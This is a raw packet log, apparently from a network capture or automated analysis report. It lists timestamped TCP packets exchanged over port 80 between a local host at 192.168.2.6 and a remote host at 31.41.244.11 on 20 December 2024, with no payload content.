Dec 20, 2024 21:13:15.445410967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.445410967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.445427895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.445429087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.445447922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.445449114 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.445475101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.445493937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.446218967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.446300030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.446305990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.446317911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.446333885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.446347952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.446351051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.446360111 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.446378946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.446388960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.447158098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.447176933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.447221994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.447221994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.447232008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.447248936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.447267056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.447283983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.447285891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.447285891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.447315931 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.447315931 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.448101044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.448127985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.448144913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.448151112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.448163033 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.448163986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.448180914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.448188066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.448198080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.448220968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.448220968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.448278904 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.449085951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.449104071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.449120045 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.449135065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.449136972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.449155092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.449157000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.449181080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.449181080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.449196100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.449974060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.449999094 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.450014114 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.450030088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.450036049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.450036049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.450047970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.450067043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.450067043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.450067043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.450083017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.450113058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.450925112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.450942039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.450958967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.450970888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.450980902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.450989008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.451004982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.451009035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.451021910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.451042891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454255104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454273939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454289913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454301119 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454307079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454318047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454325914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454329014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454345942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454346895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454369068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454379082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454397917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454402924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454413891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454421043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454436064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454437971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454449892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454453945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454472065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454473019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454489946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454489946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454508066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454509020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454519987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454526901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454540968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454541922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454555988 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454559088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454571962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454586029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454606056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454622984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454638004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454641104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454653978 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454655886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454667091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454672098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.454689980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.454700947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.456506968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.456522942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.456537962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.456540108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.456554890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.456557989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.456572056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.456572056 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.456588984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.456593037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.456600904 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.456619024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.457449913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.457467079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.457534075 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.457608938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.457626104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.457642078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.457644939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.457664013 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.457673073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.457690954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.457700014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458134890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458158970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458174944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458174944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458192110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458201885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458209038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458220959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458235025 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458247900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458659887 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458676100 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458704948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458717108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458817959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458833933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458848953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.458853960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458869934 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.458883047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.570997953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.571055889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.571141958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.571157932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.571183920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.571202040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.571341038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.571386099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.572396040 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.572415113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.572448015 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.572475910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.572876930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.572925091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.573087931 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.573134899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.573751926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.573801994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.573951006 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.573997021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.574774027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.574791908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.574819088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.574846983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.575562000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.575579882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.575606108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.575614929 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.576407909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.576458931 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.576596975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.576643944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.577361107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.577390909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.577419043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.577441931 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.578002930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.578054905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.578181982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.578227997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.578927994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.578974962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.579128027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.579166889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.579816103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.579865932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.579963923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.580012083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.580677032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.580729008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.580858946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.580908060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.581609011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.581650019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.581774950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.581820011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.582361937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.582411051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.582542896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.582587004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.583267927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.583297014 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.583338976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.583359957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.584124088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.584171057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.584280968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.584326029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.585047960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.585088968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.585236073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.585277081 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.585833073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.585879087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.586015940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.586061001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.586724997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.586779118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.586889982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.586932898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.587766886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.587812901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.587922096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.587966919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.588498116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.588543892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.588701010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.588742971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.589392900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.589436054 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.589575052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.589618921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.590142965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.590188980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.590312958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.590353012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.591031075 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.591078043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.591337919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.591381073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.592017889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.592070103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.592190027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.592236042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.592947006 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.592973948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.593000889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.593022108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.593827009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.593844891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.593883991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.593904018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.594639063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.594687939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.594827890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.594873905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.595437050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.595479965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.595623970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.595670938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.596241951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.596287966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.596371889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.596421003 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.596945047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.596991062 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.597065926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.597119093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.597870111 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.597919941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.598052979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.598093987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.598700047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.598752022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.598834991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.598916054 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.599602938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.599648952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.599673986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.599721909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.600414991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.600459099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.600554943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.600599051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.601310015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.601360083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.601397991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.601434946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.604399920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.604418039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.604434967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.604446888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.604450941 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.604465008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.604469061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.604487896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.604499102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.604542971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.604952097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.604995966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.605293989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.605339050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.606025934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.606044054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.606072903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.606086016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.606931925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.606949091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.606977940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.606991053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.607671976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.607690096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.607723951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.607752085 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.608561993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.608612061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.608732939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.608781099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.609391928 CET	80	49849	31.41.244.11	192.168.2.6
